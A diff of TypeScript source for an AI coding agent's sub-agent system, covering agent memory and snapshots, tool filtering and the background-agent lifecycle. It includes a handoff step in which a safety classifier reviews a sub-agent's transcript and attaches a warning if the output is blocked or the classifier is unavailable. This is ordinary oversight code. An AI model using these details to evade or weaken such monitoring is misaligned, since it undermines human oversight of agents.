+    normalizedPath.startsWith(join(getCwd(), '.claude', 'agent-memory') + sep)
+  ) {
+    return true
+  }
+
+  // Local scope: persisted to mount when CLAUDE_CODE_REMOTE_MEMORY_DIR is set, otherwise cwd-based
+  if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
+    if (
+      normalizedPath.includes(sep + 'agent-memory-local' + sep) &&
+      normalizedPath.startsWith(
+        join(process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR, 'projects') + sep,
+      )
+    ) {
+      return true
+    }
+  } else if (
+    normalizedPath.startsWith(
+      join(getCwd(), '.claude', 'agent-memory-local') + sep,
+    )
+  ) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Returns the agent memory file path for a given agent type and scope.
+ */
+export function getAgentMemoryEntrypoint(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  return join(getAgentMemoryDir(agentType, scope), 'MEMORY.md')
+}
+
+export function getMemoryScopeDisplay(
+  memory: AgentMemoryScope | undefined,
+): string {
+  switch (memory) {
+    case 'user':
+      return `User (${join(getMemoryBaseDir(), 'agent-memory')}/)`
+    case 'project':
+      return 'Project (.claude/agent-memory/)'
+    case 'local':
+      return `Local (${getLocalAgentMemoryDir('...')})`
+    default:
+      return 'None'
+  }
+}
+
+/**
+ * Load persistent memory for an agent with memory enabled.
+ * Creates the memory directory if needed and returns a prompt with memory contents.
+ *
+ * @param agentType The agent's type name (used as directory name)
+ * @param scope 'user' for ~/.claude/agent-memory/ or 'project' for .claude/agent-memory/
+ */
+export function loadAgentMemoryPrompt(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  let scopeNote: string
+  switch (scope) {
+    case 'user':
+      scopeNote =
+        '- Since this memory is user-scope, keep learnings general since they apply across all projects'
+      break
+    case 'project':
+      scopeNote =
+        '- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project'
+      break
+    case 'local':
+      scopeNote =
+        '- Since this memory is local-scope (not checked into version control), tailor your memories to this project and machine'
+      break
+  }
+
+  const memoryDir = getAgentMemoryDir(agentType, scope)
+
+  // Fire-and-forget: this runs at agent-spawn time inside a sync
+  // getSystemPrompt() callback (called from React render in AgentDetail.tsx,
+  // so it cannot be async). The spawned agent won't try to Write until after
+  // a full API round-trip, by which time mkdir will have completed. Even if
+  // it hasn't, FileWriteTool does its own mkdir of the parent directory.
+  void ensureMemoryDirExists(memoryDir)
+
+  const coworkExtraGuidelines =
+    process.env.CLAUDE_COWORK_MEMORY_EXTRA_GUIDELINES
+  return buildMemoryPrompt({
+    displayName: 'Persistent Agent Memory',
+    memoryDir,
+    extraGuidelines:
+      coworkExtraGuidelines && coworkExtraGuidelines.trim().length > 0
+        ? [scopeNote, coworkExtraGuidelines]
+        : [scopeNote],
+  })
+}

src/tools/AgentTool/agentMemorySnapshot.ts

@@ -0,0 +1,197 @@
+import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { z } from 'zod/v4'
+import { getCwd } from '../../utils/cwd.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { jsonParse, jsonStringify } from '../../utils/slowOperations.js'
+import { type AgentMemoryScope, getAgentMemoryDir } from './agentMemory.js'
+
+const SNAPSHOT_BASE = 'agent-memory-snapshots'
+const SNAPSHOT_JSON = 'snapshot.json'
+const SYNCED_JSON = '.snapshot-synced.json'
+
+const snapshotMetaSchema = lazySchema(() =>
+  z.object({
+    updatedAt: z.string().min(1),
+  }),
+)
+
+const syncedMetaSchema = lazySchema(() =>
+  z.object({
+    syncedFrom: z.string().min(1),
+  }),
+)
+type SyncedMeta = z.infer<ReturnType<typeof syncedMetaSchema>>
+
+/**
+ * Returns the path to the snapshot directory for an agent in the current project.
+ * e.g., <cwd>/.claude/agent-memory-snapshots/<agentType>/
+ */
+export function getSnapshotDirForAgent(agentType: string): string {
+  return join(getCwd(), '.claude', SNAPSHOT_BASE, agentType)
+}
+
+function getSnapshotJsonPath(agentType: string): string {
+  return join(getSnapshotDirForAgent(agentType), SNAPSHOT_JSON)
+}
+
+function getSyncedJsonPath(agentType: string, scope: AgentMemoryScope): string {
+  return join(getAgentMemoryDir(agentType, scope), SYNCED_JSON)
+}
+
+async function readJsonFile<T>(
+  path: string,
+  schema: z.ZodType<T>,
+): Promise<T | null> {
+  try {
+    const content = await readFile(path, { encoding: 'utf-8' })
+    const result = schema.safeParse(jsonParse(content))
+    return result.success ? result.data : null
+  } catch {
+    return null
+  }
+}
+
+async function copySnapshotToLocal(
+  agentType: string,
+  scope: AgentMemoryScope,
+): Promise<void> {
+  const snapshotMemDir = getSnapshotDirForAgent(agentType)
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+
+  await mkdir(localMemDir, { recursive: true })
+
+  try {
+    const files = await readdir(snapshotMemDir, { withFileTypes: true })
+    for (const dirent of files) {
+      if (!dirent.isFile() || dirent.name === SNAPSHOT_JSON) continue
+      const content = await readFile(join(snapshotMemDir, dirent.name), {
+        encoding: 'utf-8',
+      })
+      await writeFile(join(localMemDir, dirent.name), content)
+    }
+  } catch (e) {
+    logForDebugging(`Failed to copy snapshot to local agent memory: ${e}`)
+  }
+}
+
+async function saveSyncedMeta(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  const syncedPath = getSyncedJsonPath(agentType, scope)
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+  await mkdir(localMemDir, { recursive: true })
+  const meta: SyncedMeta = { syncedFrom: snapshotTimestamp }
+  try {
+    await writeFile(syncedPath, jsonStringify(meta))
+  } catch (e) {
+    logForDebugging(`Failed to save snapshot sync metadata: ${e}`)
+  }
+}
+
+/**
+ * Check if a snapshot exists and whether it's newer than what we last synced.
+ */
+export async function checkAgentMemorySnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+): Promise<{
+  action: 'none' | 'initialize' | 'prompt-update'
+  snapshotTimestamp?: string
+}> {
+  const snapshotMeta = await readJsonFile(
+    getSnapshotJsonPath(agentType),
+    snapshotMetaSchema(),
+  )
+
+  if (!snapshotMeta) {
+    return { action: 'none' }
+  }
+
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+
+  let hasLocalMemory = false
+  try {
+    const dirents = await readdir(localMemDir, { withFileTypes: true })
+    hasLocalMemory = dirents.some(d => d.isFile() && d.name.endsWith('.md'))
+  } catch {
+    // Directory doesn't exist
+  }
+
+  if (!hasLocalMemory) {
+    return { action: 'initialize', snapshotTimestamp: snapshotMeta.updatedAt }
+  }
+
+  const syncedMeta = await readJsonFile(
+    getSyncedJsonPath(agentType, scope),
+    syncedMetaSchema(),
+  )
+
+  if (
+    !syncedMeta ||
+    new Date(snapshotMeta.updatedAt) > new Date(syncedMeta.syncedFrom)
+  ) {
+    return {
+      action: 'prompt-update',
+      snapshotTimestamp: snapshotMeta.updatedAt,
+    }
+  }
+
+  return { action: 'none' }
+}
+
+/**
+ * Initialize local agent memory from a snapshot (first-time setup).
+ */
+export async function initializeFromSnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  logForDebugging(
+    `Initializing agent memory for ${agentType} from project snapshot`,
+  )
+  await copySnapshotToLocal(agentType, scope)
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}
+
+/**
+ * Replace local agent memory with the snapshot.
+ */
+export async function replaceFromSnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  logForDebugging(
+    `Replacing agent memory for ${agentType} with project snapshot`,
+  )
+  // Remove existing .md files before copying to avoid orphans
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+  try {
+    const existing = await readdir(localMemDir, { withFileTypes: true })
+    for (const dirent of existing) {
+      if (dirent.isFile() && dirent.name.endsWith('.md')) {
+        await unlink(join(localMemDir, dirent.name))
+      }
+    }
+  } catch {
+    // Directory may not exist yet
+  }
+  await copySnapshotToLocal(agentType, scope)
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}
+
+/**
+ * Mark the current snapshot as synced without changing local memory.
+ */
+export async function markSnapshotSynced(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}

src/tools/AgentTool/agentToolUtils.ts

@@ -0,0 +1,686 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import { clearInvokedSkillsForAgent } from '../../bootstrap/state.js'
+import {
+  ALL_AGENT_DISALLOWED_TOOLS,
+  ASYNC_AGENT_ALLOWED_TOOLS,
+  CUSTOM_AGENT_DISALLOWED_TOOLS,
+  IN_PROCESS_TEAMMATE_ALLOWED_TOOLS,
+} from '../../constants/tools.js'
+import { startAgentSummarization } from '../../services/AgentSummary/agentSummary.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import { clearDumpState } from '../../services/api/dumpPrompts.js'
+import type { AppState } from '../../state/AppState.js'
+import type {
+  Tool,
+  ToolPermissionContext,
+  Tools,
+  ToolUseContext,
+} from '../../Tool.js'
+import { toolMatchesName } from '../../Tool.js'
+import {
+  completeAgentTask as completeAsyncAgent,
+  createActivityDescriptionResolver,
+  createProgressTracker,
+  enqueueAgentNotification,
+  failAgentTask as failAsyncAgent,
+  getProgressUpdate,
+  getTokenCountFromTracker,
+  isLocalAgentTask,
+  killAsyncAgent,
+  type ProgressTracker,
+  updateAgentProgress as updateAsyncAgentProgress,
+  updateProgressFromMessage,
+} from '../../tasks/LocalAgentTask/LocalAgentTask.js'
+import { asAgentId } from '../../types/ids.js'
+import type { Message as MessageType } from '../../types/message.js'
+import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { isInProtectedNamespace } from '../../utils/envUtils.js'
+import { AbortError, errorMessage } from '../../utils/errors.js'
+import type { CacheSafeParams } from '../../utils/forkedAgent.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import {
+  extractTextContent,
+  getLastAssistantMessage,
+} from '../../utils/messages.js'
+import type { PermissionMode } from '../../utils/permissions/PermissionMode.js'
+import { permissionRuleValueFromString } from '../../utils/permissions/permissionRuleParser.js'
+import {
+  buildTranscriptForClassifier,
+  classifyYoloAction,
+} from '../../utils/permissions/yoloClassifier.js'
+import { emitTaskProgress as emitTaskProgressEvent } from '../../utils/task/sdkProgress.js'
+import { isInProcessTeammate } from '../../utils/teammateContext.js'
+import { getTokenCountFromUsage } from '../../utils/tokens.js'
+import { EXIT_PLAN_MODE_V2_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
+import { AGENT_TOOL_NAME, LEGACY_AGENT_TOOL_NAME } from './constants.js'
+import type { AgentDefinition } from './loadAgentsDir.js'
+export type ResolvedAgentTools = {
+  hasWildcard: boolean
+  validTools: string[]
+  invalidTools: string[]
+  resolvedTools: Tools
+  allowedAgentTypes?: string[]
+}
+
+export function filterToolsForAgent({
+  tools,
+  isBuiltIn,
+  isAsync = false,
+  permissionMode,
+}: {
+  tools: Tools
+  isBuiltIn: boolean
+  isAsync?: boolean
+  permissionMode?: PermissionMode
+}): Tools {
+  return tools.filter(tool => {
+    // Allow MCP tools for all agents
+    if (tool.name.startsWith('mcp__')) {
+      return true
+    }
+    // Allow ExitPlanMode for agents in plan mode (e.g., in-process teammates)
+    // This bypasses both the ALL_AGENT_DISALLOWED_TOOLS and async tool filters
+    if (
+      toolMatchesName(tool, EXIT_PLAN_MODE_V2_TOOL_NAME) &&
+      permissionMode === 'plan'
+    ) {
+      return true
+    }
+    if (ALL_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
+      return false
+    }
+    if (!isBuiltIn && CUSTOM_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
+      return false
+    }
+    if (isAsync && !ASYNC_AGENT_ALLOWED_TOOLS.has(tool.name)) {
+      if (isAgentSwarmsEnabled() && isInProcessTeammate()) {
+        // Allow AgentTool for in-process teammates to spawn sync subagents.
+        // Validation in AgentTool.call() prevents background agents and teammate spawning.
+        if (toolMatchesName(tool, AGENT_TOOL_NAME)) {
+          return true
+        }
+        // Allow task tools for in-process teammates to coordinate via shared task list
+        if (IN_PROCESS_TEAMMATE_ALLOWED_TOOLS.has(tool.name)) {
+          return true
+        }
+      }
+      return false
+    }
+    return true
+  })
+}
+
+/**
+ * Resolves and validates agent tools against available tools
+ * Handles wildcard expansion and validation in one place
+ */
+export function resolveAgentTools(
+  agentDefinition: Pick<
+    AgentDefinition,
+    'tools' | 'disallowedTools' | 'source' | 'permissionMode'
+  >,
+  availableTools: Tools,
+  isAsync = false,
+  isMainThread = false,
+): ResolvedAgentTools {
+  const {
+    tools: agentTools,
+    disallowedTools,
+    source,
+    permissionMode,
+  } = agentDefinition
+  // When isMainThread is true, skip filterToolsForAgent entirely — the main
+  // thread's tool pool is already properly assembled by useMergedTools(), so
+  // the sub-agent disallow lists shouldn't apply.
+  const filteredAvailableTools = isMainThread
+    ? availableTools
+    : filterToolsForAgent({
+        tools: availableTools,
+        isBuiltIn: source === 'built-in',
+        isAsync,
+        permissionMode,
+      })
+
+  // Create a set of disallowed tool names for quick lookup
+  const disallowedToolSet = new Set(
+    disallowedTools?.map(toolSpec => {
+      const { toolName } = permissionRuleValueFromString(toolSpec)
+      return toolName
+    }) ?? [],
+  )
+
+  // Filter available tools based on disallowed list
+  const allowedAvailableTools = filteredAvailableTools.filter(
+    tool => !disallowedToolSet.has(tool.name),
+  )
+
+  // If tools is undefined or ['*'], allow all tools (after filtering disallowed)
+  const hasWildcard =
+    agentTools === undefined ||
+    (agentTools.length === 1 && agentTools[0] === '*')
+  if (hasWildcard) {
+    return {
+      hasWildcard: true,
+      validTools: [],
+      invalidTools: [],
+      resolvedTools: allowedAvailableTools,
+    }
+  }
+
+  const availableToolMap = new Map<string, Tool>()
+  for (const tool of allowedAvailableTools) {
+    availableToolMap.set(tool.name, tool)
+  }
+
+  const validTools: string[] = []
+  const invalidTools: string[] = []
+  const resolved: Tool[] = []
+  const resolvedToolsSet = new Set<Tool>()
+  let allowedAgentTypes: string[] | undefined
+
+  for (const toolSpec of agentTools) {
+    // Parse the tool spec to extract the base tool name and any permission pattern
+    const { toolName, ruleContent } = permissionRuleValueFromString(toolSpec)
+
+    // Special case: Agent tool carries allowedAgentTypes metadata in its spec
+    if (toolName === AGENT_TOOL_NAME) {
+      if (ruleContent) {
+        // Parse comma-separated agent types: "worker, researcher" → ["worker", "researcher"]
+        allowedAgentTypes = ruleContent.split(',').map(s => s.trim())
+      }
+      // For sub-agents, Agent is excluded by filterToolsForAgent — mark the spec
+      // valid for allowedAgentTypes tracking but skip tool resolution.
+      if (!isMainThread) {
+        validTools.push(toolSpec)
+        continue
+      }
+      // For main thread, filtering was skipped so Agent is in availableToolMap —
+      // fall through to normal resolution below.
+    }
+
+    const tool = availableToolMap.get(toolName)
+    if (tool) {
+      validTools.push(toolSpec)
+      if (!resolvedToolsSet.has(tool)) {
+        resolved.push(tool)
+        resolvedToolsSet.add(tool)
+      }
+    } else {
+      invalidTools.push(toolSpec)
+    }
+  }
+
+  return {
+    hasWildcard: false,
+    validTools,
+    invalidTools,
+    resolvedTools: resolved,
+    allowedAgentTypes,
+  }
+}
+
+export const agentToolResultSchema = lazySchema(() =>
+  z.object({
+    agentId: z.string(),
+    // Optional: older persisted sessions won't have this (resume replays
+    // results verbatim without re-validation). Used to gate the sync
+    // result trailer — one-shot built-ins skip the SendMessage hint.
+    agentType: z.string().optional(),
+    content: z.array(z.object({ type: z.literal('text'), text: z.string() })),
+    totalToolUseCount: z.number(),
+    totalDurationMs: z.number(),
+    totalTokens: z.number(),
+    usage: z.object({
+      input_tokens: z.number(),
+      output_tokens: z.number(),
+      cache_creation_input_tokens: z.number().nullable(),
+      cache_read_input_tokens: z.number().nullable(),
+      server_tool_use: z
+        .object({
+          web_search_requests: z.number(),
+          web_fetch_requests: z.number(),
+        })
+        .nullable(),
+      service_tier: z.enum(['standard', 'priority', 'batch']).nullable(),
+      cache_creation: z
+        .object({
+          ephemeral_1h_input_tokens: z.number(),
+          ephemeral_5m_input_tokens: z.number(),
+        })
+        .nullable(),
+    }),
+  }),
+)
+
+export type AgentToolResult = z.input<ReturnType<typeof agentToolResultSchema>>
+
+export function countToolUses(messages: MessageType[]): number {
+  let count = 0
+  for (const m of messages) {
+    if (m.type === 'assistant') {
+      for (const block of m.message.content) {
+        if (block.type === 'tool_use') {
+          count++
+        }
+      }
+    }
+  }
+  return count
+}
+
+export function finalizeAgentTool(
+  agentMessages: MessageType[],
+  agentId: string,
+  metadata: {
+    prompt: string
+    resolvedAgentModel: string
+    isBuiltInAgent: boolean
+    startTime: number
+    agentType: string
+    isAsync: boolean
+  },
+): AgentToolResult {
+  const {
+    prompt,
+    resolvedAgentModel,
+    isBuiltInAgent,
+    startTime,
+    agentType,
+    isAsync,
+  } = metadata
+
+  const lastAssistantMessage = getLastAssistantMessage(agentMessages)
+  if (lastAssistantMessage === undefined) {
+    throw new Error('No assistant messages found')
+  }
+  // Extract text content from the agent's response. If the final assistant
+  // message is a pure tool_use block (loop exited mid-turn), fall back to
+  // the most recent assistant message that has text content.
+  let content = lastAssistantMessage.message.content.filter(
+    _ => _.type === 'text',
+  )
+  if (content.length === 0) {
+    for (let i = agentMessages.length - 1; i >= 0; i--) {
+      const m = agentMessages[i]!
+      if (m.type !== 'assistant') continue
+      const textBlocks = m.message.content.filter(_ => _.type === 'text')
+      if (textBlocks.length > 0) {
+        content = textBlocks
+        break
+      }
+    }
+  }
+
+  const totalTokens = getTokenCountFromUsage(lastAssistantMessage.message.usage)
+  const totalToolUseCount = countToolUses(agentMessages)
+
+  logEvent('tengu_agent_tool_completed', {
+    agent_type:
+      agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    model:
+      resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    prompt_char_count: prompt.length,
+    response_char_count: content.length,
+    assistant_message_count: agentMessages.length,
+    total_tool_uses: totalToolUseCount,
+    duration_ms: Date.now() - startTime,
+    total_tokens: totalTokens,
+    is_built_in_agent: isBuiltInAgent,
+    is_async: isAsync,
+  })
+
+  // Signal to inference that this subagent's cache chain can be evicted.
+  const lastRequestId = lastAssistantMessage.requestId
+  if (lastRequestId) {
+    logEvent('tengu_cache_eviction_hint', {
+      scope:
+        'subagent_end' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      last_request_id:
+        lastRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+  }
+
+  return {
+    agentId,
+    agentType,
+    content,
+    totalDurationMs: Date.now() - startTime,
+    totalTokens,
+    totalToolUseCount,
+    usage: lastAssistantMessage.message.usage,
+  }
+}
+
+/**
+ * Returns the name of the last tool_use block in an assistant message,
+ * or undefined if the message is not an assistant message with tool_use.
+ */
+export function getLastToolUseName(message: MessageType): string | undefined {
+  if (message.type !== 'assistant') return undefined
+  const block = message.message.content.findLast(b => b.type === 'tool_use')
+  return block?.type === 'tool_use' ? block.name : undefined
+}
+
+export function emitTaskProgress(
+  tracker: ProgressTracker,
+  taskId: string,
+  toolUseId: string | undefined,
+  description: string,
+  startTime: number,
+  lastToolName: string,
+): void {
+  const progress = getProgressUpdate(tracker)
+  emitTaskProgressEvent({
+    taskId,
+    toolUseId,
+    description: progress.lastActivity?.activityDescription ?? description,
+    startTime,
+    totalTokens: progress.tokenCount,
+    toolUses: progress.toolUseCount,
+    lastToolName,
+  })
+}
+
+export async function classifyHandoffIfNeeded({
+  agentMessages,
+  tools,
+  toolPermissionContext,
+  abortSignal,
+  subagentType,
+  totalToolUseCount,
+}: {
+  agentMessages: MessageType[]
+  tools: Tools
+  toolPermissionContext: AppState['toolPermissionContext']
+  abortSignal: AbortSignal
+  subagentType: string
+  totalToolUseCount: number
+}): Promise<string | null> {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    if (toolPermissionContext.mode !== 'auto') return null
+
+    const agentTranscript = buildTranscriptForClassifier(agentMessages, tools)
+    if (!agentTranscript) return null
+
+    const classifierResult = await classifyYoloAction(
+      agentMessages,
+      {
+        role: 'user',
+        content: [
+          {
+            type: 'text',
+            text: "Sub-agent has finished and is handing back control to the main agent. Review the sub-agent's work based on the block rules and let the main agent know if any file is dangerous (the main agent will see the reason).",
+          },
+        ],
+      },
+      tools,
+      toolPermissionContext as ToolPermissionContext,
+      abortSignal,
+    )
+
+    const handoffDecision = classifierResult.unavailable
+      ? 'unavailable'
+      : classifierResult.shouldBlock
+        ? 'blocked'
+        : 'allowed'
+    logEvent('tengu_auto_mode_decision', {
+      decision:
+        handoffDecision as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName:
+        // Use legacy name for analytics continuity across the Task→Agent rename
+        LEGACY_AGENT_TOOL_NAME as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      inProtectedNamespace: isInProtectedNamespace(),
+      classifierModel:
+        classifierResult.model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      agentType:
+        subagentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolUseCount: totalToolUseCount,
+      isHandoff: true,
+      // For handoff, the relevant agent completion is the subagent's final
+      // assistant message — the last thing the classifier transcript shows
+      // before the handoff review prompt.
+      agentMsgId: getLastAssistantMessage(agentMessages)?.message
+        .id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage:
+        classifierResult.stage as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage1RequestId:
+        classifierResult.stage1RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage1MsgId:
+        classifierResult.stage1MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage2RequestId:
+        classifierResult.stage2RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      classifierStage2MsgId:
+        classifierResult.stage2MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+
+    if (classifierResult.shouldBlock) {
+      // When classifier is unavailable, still propagate the sub-agent's
+      // results but with a warning so the parent agent can verify the work.
+      if (classifierResult.unavailable) {
+        logForDebugging(
+          'Handoff classifier unavailable, allowing sub-agent output with warning',
+          { level: 'warn' },
+        )
+        return `Note: The safety classifier was unavailable when reviewing this sub-agent's work. Please carefully verify the sub-agent's actions and output before acting on them.`
+      }
+
+      logForDebugging(
+        `Handoff classifier flagged sub-agent output: ${classifierResult.reason}`,
+        { level: 'warn' },
+      )
+      return `SECURITY WARNING: This sub-agent performed actions that may violate security policy. Reason: ${classifierResult.reason}. Review the sub-agent's actions carefully before acting on its output.`
+    }
+  }
+
+  return null
+}
+
+/**
+ * Extract a partial result string from an agent's accumulated messages.
+ * Used when an async agent is killed to preserve what it accomplished.
+ * Returns undefined if no text content is found.
+ */
+export function extractPartialResult(
+  messages: MessageType[],
+): string | undefined {
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const m = messages[i]!
+    if (m.type !== 'assistant') continue
+    const text = extractTextContent(m.message.content, '\n')
+    if (text) {
+      return text
+    }
+  }
+  return undefined
+}
+
+type SetAppState = (f: (prev: AppState) => AppState) => void
+
+/**
+ * Drives a background agent from spawn to terminal notification.
+ * Shared between AgentTool's async-from-start path and resumeAgentBackground.
+ */
+export async function runAsyncAgentLifecycle({
+  taskId,
+  abortController,
+  makeStream,
+  metadata,
+  description,
+  toolUseContext,
+  rootSetAppState,
+  agentIdForCleanup,
+  enableSummarization,
+  getWorktreeResult,
+}: {
+  taskId: string
+  abortController: AbortController
+  makeStream: (
+    onCacheSafeParams: ((p: CacheSafeParams) => void) | undefined,
+  ) => AsyncGenerator<MessageType, void>
+  metadata: Parameters<typeof finalizeAgentTool>[2]
+  description: string
+  toolUseContext: ToolUseContext
+  rootSetAppState: SetAppState
+  agentIdForCleanup: string
+  enableSummarization: boolean
+  getWorktreeResult: () => Promise<{
+    worktreePath?: string
+    worktreeBranch?: string
+  }>
+}): Promise<void> {
+  let stopSummarization: (() => void) | undefined
+  const agentMessages: MessageType[] = []
+  try {
+    const tracker = createProgressTracker()
+    const resolveActivity = createActivityDescriptionResolver(
+      toolUseContext.options.tools,
+    )
+    const onCacheSafeParams = enableSummarization
+      ? (params: CacheSafeParams) => {
+          const { stop } = startAgentSummarization(
+            taskId,
+            asAgentId(taskId),
+            params,
+            rootSetAppState,
+          )
+          stopSummarization = stop
+        }
+      : undefined
+    for await (const message of makeStream(onCacheSafeParams)) {
+      agentMessages.push(message)
+      // Append immediately when UI holds the task (retain). Bootstrap reads
+      // disk in parallel and UUID-merges the prefix — disk-write-before-yield
+      // means live is always a suffix of disk, so merge is order-correct.
+      rootSetAppState(prev => {
+        const t = prev.tasks[taskId]
+        if (!isLocalAgentTask(t) || !t.retain) return prev
+        const base = t.messages ?? []
+        return {
+          ...prev,
+          tasks: {
+            ...prev.tasks,
+            [taskId]: { ...t, messages: [...base, message] },
+          },
+        }
+      })
+      updateProgressFromMessage(
+        tracker,
+        message,
+        resolveActivity,
+        toolUseContext.options.tools,
+      )
+      updateAsyncAgentProgress(
+        taskId,
+        getProgressUpdate(tracker),
+        rootSetAppState,
+      )
+      const lastToolName = getLastToolUseName(message)
+      if (lastToolName) {
+        emitTaskProgress(
+          tracker,
+          taskId,
+          toolUseContext.toolUseId,
+          description,
+          metadata.startTime,
+          lastToolName,
+        )
+      }
+    }
+
+    stopSummarization?.()
+
+    const agentResult = finalizeAgentTool(agentMessages, taskId, metadata)
+
+    // Mark task completed FIRST so TaskOutput(block=true) unblocks
+    // immediately. classifyHandoffIfNeeded (API call) and getWorktreeResult
+    // (git exec) are notification embellishments that can hang — they must
+    // not gate the status transition (gh-20236).
+    completeAsyncAgent(agentResult, rootSetAppState)
+
+    let finalMessage = extractTextContent(agentResult.content, '\n')
+
+    if (feature('TRANSCRIPT_CLASSIFIER')) {
+      const handoffWarning = await classifyHandoffIfNeeded({
+        agentMessages,
+        tools: toolUseContext.options.tools,
+        toolPermissionContext:
+          toolUseContext.getAppState().toolPermissionContext,
+        abortSignal: abortController.signal,
+        subagentType: metadata.agentType,
+        totalToolUseCount: agentResult.totalToolUseCount,
+      })
+      if (handoffWarning) {
+        finalMessage = `${handoffWarning}\n\n${finalMessage}`
+      }
+    }
+
+    const worktreeResult = await getWorktreeResult()
+
+    enqueueAgentNotification({
+      taskId,
+      description,
+      status: 'completed',
+      setAppState: rootSetAppState,
+      finalMessage,
+      usage: {
+        totalTokens: getTokenCountFromTracker(tracker),
+        toolUses: agentResult.totalToolUseCount,
+        durationMs: agentResult.totalDurationMs,
+      },
+      toolUseId: toolUseContext.toolUseId,
+      ...worktreeResult,
+    })
+  } catch (error) {
+    stopSummarization?.()
+    if (error instanceof AbortError) {
+      // killAsyncAgent is a no-op if TaskStop already set status='killed' —
+      // but only this catch handler has agentMessages, so the notification
+      // must fire unconditionally. Transition status BEFORE worktree cleanup
+      // so TaskOutput unblocks even if git hangs (gh-20236).
+      killAsyncAgent(taskId, rootSetAppState)
+      logEvent('tengu_agent_tool_terminated', {
+        agent_type:
+          metadata.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        model:
+          metadata.resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        duration_ms: Date.now() - metadata.startTime,
+        is_async: true,
+        is_built_in_agent: metadata.isBuiltInAgent,
+        reason:
+          'user_kill_async' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      const worktreeResult = await getWorktreeResult()
+      const partialResult = extractPartialResult(agentMessages)
+      enqueueAgentNotification({
+        taskId,
+        description,
+        status: 'killed',
+        setAppState: rootSetAppState,
+        toolUseId: toolUseContext.toolUseId,
+        finalMessage: partialResult,
+        ...worktreeResult,
+      })
+      return
+    }
+    const msg = errorMessage(error)
+    failAsyncAgent(taskId, msg, rootSetAppState)
+    const worktreeResult = await getWorktreeResult()
+    enqueueAgentNotification({
+      taskId,
+      description,
+      status: 'failed',
+      error: msg,
+      setAppState: rootSetAppState,
+      toolUseId: toolUseContext.toolUseId,
+      ...worktreeResult,
+    })
+  } finally {
+    clearInvokedSkillsForAgent(agentIdForCleanup)
+    clearDumpState(agentIdForCleanup)
+  }
+}

src/tools/AskUserQuestionTool/prompt.ts

@@ -0,0 +1,44 @@
+import { EXIT_PLAN_MODE_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
+
+export const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
+
+export const ASK_USER_QUESTION_TOOL_CHIP_WIDTH = 12
+
+export const DESCRIPTION =
+  'Asks the user multiple choice questions to gather information, clarify ambiguity, understand preferences, make decisions or offer them choices.'
+
+export const PREVIEW_FEATURE_PROMPT = {
+  markdown: `
+Preview feature:
+Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
+- ASCII mockups of UI layouts or components
+- Code snippets showing different implementations
+- Diagram variations
+- Configuration examples
+
